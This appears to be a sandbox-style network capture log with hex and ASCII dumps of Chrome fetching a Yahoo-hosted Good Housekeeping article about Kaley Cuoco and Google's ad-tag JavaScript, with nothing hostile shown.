2024-01-10 23:27:12 UTC	1204	IN	Data Raw: 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 35 64 35 35 62 66 32 37 2d 35 38 36 61 2d 34 38 61 33 2d 38 62 37 36 2d 66 65 39 66 36 37 39 36 61 30 30 63 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 6c 61 62 65 6c 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 39 35 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 32 36 35 2c 22 65 6e 64 63 68 61 72 22 3a 32 37 35 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 22 61 22 2c 22 73 74 72 6f 6e 67 22 2c 22 74 69 74 6c 65 22 2c 22 66 Data Ascii: y","editorialPicksList":"5d55bf27-586a-48a3-8b76-fe9f6796a00c","entities":[{"term":"WIKIID:Kaley_Cuoco","label":"Kaley Cuoco","capAbtScore":"0.995","metaData":[{"visible":"false"}],"startchar":265,"endchar":275,"specialParentTags":["a","strong","title","f
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 26 20 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 7d 5d 2c 22 66 61 63 74 75 61 6c 50 6f 6c 6c 49 64 22 3a 6e 75 6c 6c 2c 22 66 69 6e 61 6c 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6c 69 66 65 73 74 79 6c 65 2f 6b 61 6c 65 79 2d 63 75 6f 63 6f 2d 73 68 75 74 2d 64 6f 77 6e 2d 6a 69 6d 6d 79 2d 31 37 32 34 30 30 30 31 38 2e 68 74 6d 6c 22 2c 22 68 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 68 61 73 58 72 61 79 53 69 64 65 52 61 69 6c 22 3a 66 61 6c 73 65 2c 22 68 65 72 6f 4d 6f 64 75 6c 65 22 3a 7b 7d 2c 22 68 69 64 65 41 6c 6c 41 64 73 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 65 64 54 79 70 65 22 3a 22 68 6f 73 74 65 64 22 2c 22 68 72 65 Data Ascii: & Entertainment"}],"factualPollId":null,"finalUrl":"https://www.yahoo.com/lifestyle/kaley-cuoco-shut-down-jimmy-172400018.html","hasScribble":false,"hasSlickVideo":false,"hasXraySideRail":false,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hre
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 64 2c 20 31 30 20 4a 61 6e 20 32 30 32 34 20 31 37 3a 32 34 3a 30 30 20 47 4d 54 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 22 47 6f 6f 64 20 48 6f 75 73 65 6b 65 65 70 69 6e 67 22 2c 22 70 75 62 6c 69 73 68 65 72 4d 65 74 61 22 3a 7b 22 72 65 76 73 70 22 3a 22 67 6f 6f 64 5f 68 6f 75 73 65 6b 65 65 70 69 6e 67 5f 35 36 31 22 7d 2c 22 73 61 6c 69 65 6e 74 45 6e 74 69 74 69 65 73 22 3a 5b 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a 7b 22 77 69 6b 69 5f 69 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 79 6b 5f 69 64 22 3a 22 39 66 65 39 33 63 65 35 2d 64 30 66 62 2d 34 30 36 65 2d 38 Data Ascii: ed, 10 Jan 2024 17:24:00 GMT","publisher":"Good Housekeeping","publisherMeta":{"revsp":"good_housekeeping_561"},"salientEntities":[{"canonicalId":"Kaley_Cuoco","canonicalType":"wiki_id","secondaryIds":{"wiki_id":"Kaley_Cuoco","yk_id":"9fe93ce5-d0fb-406e-8
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 31 30 35 2d 31 31 61 64 30 37 30 39 35 32 35 36 22 2c 22 76 69 64 65 6f 50 6f 73 69 74 69 6f 6e 22 3a 22 62 6f 64 79 22 2c 22 77 69 6b 69 69 64 73 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 2c 4a 69 6d 6d 79 5f 4b 69 6d 6d 65 6c 2c 41 6d 61 7a 6f 6e 5f 50 72 69 6d 65 2c 54 6f 6d 5f 50 65 6c 70 68 72 65 79 2c 52 6f 6c 65 2d 70 6c 61 79 69 6e 67 22 2c 22 78 72 61 79 4d 65 74 61 22 3a 5b 7b 22 74 79 70 65 22 3a 22 77 69 6b 69 22 2c 22 69 64 22 3a 22 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 73 75 62 54 79 70 65 22 3a 22 41 63 74 6f 72 22 2c 22 77 69 6b 69 43 61 74 65 67 6f 72 79 22 3a 22 50 45 52 53 4f 4e 22 2c 22 6c 6f 6e 67 4e 61 6d 65 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 73 68 6f 72 74 4e 61 6d 65 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 Data Ascii: 105-11ad07095256","videoPosition":"body","wikiids":"Kaley_Cuoco,Jimmy_Kimmel,Amazon_Prime,Tom_Pelphrey,Role-playing","xrayMeta":[{"type":"wiki","id":"Kaley_Cuoco","subType":"Actor","wikiCategory":"PERSON","longName":"Kaley Cuoco","shortName":"Kaley Cuoco"
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 7a 62 2f 69 6d 67 76 31 2f 31 31 65 66 36 39 62 38 2d 36 65 63 36 2d 33 32 66 64 2d 62 65 34 30 2d 35 34 66 35 35 64 64 38 35 30 65 35 2f 73 5f 35 30 30 78 35 30 30 22 2c 22 68 65 69 67 68 74 22 3a 35 30 30 2c 22 77 69 64 74 68 22 3a 35 30 30 2c 22 74 61 67 22 3a 22 6f 72 69 67 69 6e 61 6c 22 7d 2c 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 66 7a 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 72 43 70 74 36 4d 42 55 51 47 45 58 33 78 63 4e 4c 62 2e 51 55 67 2d 2d 7e 41 2f 59 58 42 77 61 57 51 39 65 57 35 6c 64 33 4d 37 5a 6d 6b 39 5a 6d 6c 30 4f 32 67 39 4e 44 67 37 63 54 30 78 4d 44 41 37 64 7a 30 30 4f 41 2d 2d 2f 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 Data Ascii: :"https://s.yimg.com/zb/imgv1/11ef69b8-6ec6-32fd-be40-54f55dd850e5/s_500x500","height":500,"width":500,"tag":"original"},{"url":"https://s.yimg.com/fz/api/res/1.2/rCpt6MBUQGEX3xcNLb.QUg--~A/YXBwaWQ9eW5ld3M7Zmk9Zml0O2g9NDg7cT0xMDA7dz00OA--/https://s.yimg.c
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 5c 22 7b 30 7d 20 56 69 65 77 73 5c 22 2c 5c 22 49 4e 4c 49 4e 45 5f 43 4f 4e 53 45 4e 54 5f 42 4c 4f 43 4b 45 44 5f 33 50 5f 42 55 54 54 4f 4e 5f 41 4c 4c 4f 57 5c 22 3a 5c 22 41 6c 6c 6f 77 5c 22 2c 5c 22 4c 45 53 53 5c 22 3a 5c 22 4c 65 73 73 5c 22 2c 5c 22 4c 49 56 45 5f 49 53 5f 4f 56 45 52 5c 22 3a 5c 22 4c 49 56 45 20 43 4f 56 45 52 41 47 45 20 49 53 20 4f 56 45 52 5c 22 2c 5c 22 4c 4f 41 44 49 4e 47 5c 22 3a 5c 22 4c 6f 61 64 69 6e 67 5c 22 2c 5c 22 4d 4f 52 45 5c 22 3a 5c 22 4d 6f 72 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 5c 22 2c 5c 22 4e 45 57 5f 55 50 44 41 54 45 53 5c 22 3a 5c 22 6e 65 77 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 4a 55 53 54 5f 4e 4f 57 5c 22 3a 5c 22 4a 75 73 74 20 6e 6f 77 Data Ascii: \"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 22 3a 74 72 75 65 2c 5c 22 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 49 6e 53 68 61 72 65 53 65 63 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 41 4d 41 64 73 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 41 4d 41 64 73 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 46 69 6e 61 6e 63 65 50 72 65 6d 69 75 6d 54 69 63 6b 65 72 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 41 64 4c 69 74 65 55 70 53 65 6c 6c 46 65 65 64 62 61 63 6b 5c 22 3a 74 72 75 65 7d 2c 5c 22 63 6f 6e 66 69 67 5c 22 3a 7b 5c 22 61 75 74 68 6f 72 42 79 6c 69 6e 65 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 32 2c 5c 22 63 6f 6d 6d 65 72 63 65 51 75 Data Ascii: ":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQu
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 38 66 2d 31 31 65 62 2d 39 35 61 66 2d 30 34 61 35 66 64 38 33 62 64 34 66 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 6c 6f 67 6f 2d 64 69 76 69 64 65 72 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 3e 47 6f 6f 64 20 48 6f 75 73 65 6b 65 65 70 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 74 69 74 6c 65 2d 77 72 61 70 70 65 72 3e 3c 68 31 20 64 61 74 61 2d 74 65 73 74 2d 6c 6f 63 61 74 6f 72 3d 68 65 61 64 6c 69 6e 65 3e 4b 61 6c 65 79 20 43 75 6f 63 6f 20 53 68 75 74 20 44 6f 77 6e 20 27 4a 69 6d 6d 79 20 4b 69 6d 6d 65 6c 20 4c 69 76 65 27 20 69 6e 20 61 20 53 74 75 6e 6e 69 6e 67 20 4d 69 6e 69 20 53 6b 69 72 74 Data Ascii: 8f-11eb-95af-04a5fd83bd4f><span class=caas-logo-divider></span><span class=caas-attr-provider>Good Housekeeping</span></a></div><div class=caas-title-wrapper><h1 data-test-locator=headline>Kaley Cuoco Shut Down 'Jimmy Kimmel Live' in a Stunning Mini Skirt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49870	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	637	OUT	GET /tag/js/gpt.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	753	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Vary: Accept-Encoding Date: Wed, 10 Jan 2024 23:27:12 GMT Expires: Wed, 10 Jan 2024 23:27:12 GMT Cache-Control: private, max-age=900, stale-while-revalidate=3600 Content-Type: text/javascript; charset=UTF-8 ETag: 777 / 19732 / m202401030101 / config-hash: 4298369532484849068 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 98926 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:12 UTC	499	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 74 74 63 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 29 7b 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 28 29 3b 7d 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 5f 6c 6f 61 64 65 64 5f 29 72 65 74 75 72 6e 3b 76 61 72 20 6e 2c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 62 61 3d 22 66 75 6e Data Ascii: (function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="fun
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 2c 64 61 3d 63 61 28 74 68 69 73 29 2c 65 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 28 22 78 22 29 2c 75 3d 7b 7d 2c 66 61 3d 7b 7d 2c Data Ascii: "object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),u={},fa={},
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 64 61 5b 62 5b 63 5d 5d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 62 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: 8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){r
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 61 72 20 6d 61 3b 61 3a 7b 76 61 72 20 6e 61 3d 7b 61 3a 21 30 7d 2c 6f 61 3d 7b 7d 3b 74 72 79 7b 6f 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 61 3b 6d 61 3d 6f 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6d 61 3d 21 31 7d 6c 61 3d 6d 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 70 61 3d 6c 61 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6b 61 28 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 Data Ascii: ar ma;a:{var na={a:!0},oa={};try{oa.__proto__=na;ma=oa.a;break a}catch(a){}ma=!1}la=ma?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var pa=la,B=function(a,b){a.prototype=ka(b.prototype);a.protot
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 69 66 28 21 63 28 67 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 7a 28 67 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 62 61 28 67 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 7a 28 67 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 67 29 3b 67 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 66 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 Data Ascii: ;)h=h.value,this.set(h[0],h[1])}};f.prototype.set=function(g,h){if(!c(g))throw Error("Invalid WeakMap key");if(!z(g,d)){var k=new b;ba(g,d,{value:k})}if(!z(g,d))throw Error("WeakMap key fail: "+g);g[d][this.g]=h;return this};f.prototype.get=function(g){re
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 70 75 73 68 28 6c 2e 73 29 2c 74 68 69 73 5b 31 5d 2e 42 2e 6e 65 78 74 3d 6c 2e 73 2c 74 68 69 73 5b 31 5d 2e 42 3d 6c 2e 73 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 73 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 73 2e 42 2e 6e 65 78 74 3d 68 2e 73 2e 6e 65 78 74 2c 68 2e 73 2e 6e 65 78 74 2e 42 3d 68 2e 73 2e 42 2c 68 2e 73 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d Data Ascii: push(l.s),this[1].B.next=l.s,this[1].B=l.s,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.s&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.s.B.next=h.s.next,h.s.next.B=h.s.B,h.s.head=null,this.size--
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 3b 29 72 65 74 75 72 6e 20 6c 3d 6c 2e 6e 65 78 74 2c 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 6b 28 6c 29 7d 3b 6c 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 3b 72 65 74 75 72 6e 20 68 2e 42 3d 68 2e 6e 65 78 74 3d 68 2e 68 65 61 64 3d 68 7d 2c 67 3d 30 3b 72 65 74 75 72 6e 20 63 7d 2c 22 65 73 36 22 29 3b 77 28 22 4d 61 74 68 2e 74 72 75 6e 63 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 3d 4e 75 6d 62 65 72 28 62 29 3b 69 66 28 69 73 4e 61 4e 28 62 29 7c 7c 49 6e 66 69 6e 69 74 79 3d 3d 3d 62 7c 7c 2d 49 6e 66 69 6e 69 74 79 3d 3d 3d 62 7c 7c 30 3d Data Ascii: ;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})},f=function(){var h={};return h.B=h.next=h.head=h},g=0;return c},"es6");w("Math.trunc",function(a){return a?a:function(b){b=Number(b);if(isNaN(b)\|\|Infinity===b\|\|-Infinity===b\|\|0=
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 74 6f 74 79 70 65 2c 22 65 6e 74 72 69 65 73 22 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 78 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 31 21 3d 64 2e 73 69 7a 65 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 31 21 3d 64 2e 73 69 7a 65 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 32 21 3d 64 2e 73 69 7a 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 76 28 64 2c 22 65 6e 74 72 69 65 73 22 29 2e 63 61 6c 6c 28 64 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c Data Ascii: totype,"entries")\|\|"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(x([c]));if(!d.has(c)\|\|1!=d.size\|\|d.add(c)!=d\|\|1!=d.size\|\|d.add({x:4})!=d\|\|2!=d.size)return!1;var e=v(d,"entries").call(d),f=e.next();if(f.done\|\|f.value[0]!=c\|\|
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 61 4e 28 62 29 26 26 49 6e 66 69 6e 69 74 79 21 3d 3d 62 26 26 2d 49 6e 66 69 6e 69 74 79 21 3d 3d 62 7d 7d 2c 22 65 73 36 22 29 3b 77 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 7d 2c 22 65 73 36 22 29 3b 77 28 22 4e 75 6d 62 65 72 2e 69 73 49 6e 74 65 67 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 76 28 4e 75 6d 62 65 72 2c 22 69 73 46 69 6e 69 74 65 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 62 29 3f 62 3d 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 62 29 3a 21 31 7d 7d 2c 22 65 73 36 22 29 3b 77 28 22 4e 75 6d 62 65 72 2e 69 Data Ascii: aN(b)&&Infinity!==b&&-Infinity!==b}},"es6");w("Number.MAX_SAFE_INTEGER",function(){return 9007199254740991},"es6");w("Number.isInteger",function(a){return a?a:function(b){return v(Number,"isFinite").call(Number,b)?b===Math.floor(b):!1}},"es6");w("Number.i
2024-01-10 23:27:12 UTC	1252	IN	Data Raw: 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 22 65 73 36 22 29 3b 77 28 22 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 7a 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 5b 64 2c 62 5b 64 5d 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 2c 22 65 73 38 22 29 3b 77 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b Data Ascii: (f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}},"es6");w("Object.entries",function(a){return a?a:function(b){var c=[],d;for(d in b)z(b,d)&&c.push([d,b[d]]);return c}},"es8");w("String.prototype.startsWith",function(a){return a?a:function(b,c){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49874	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

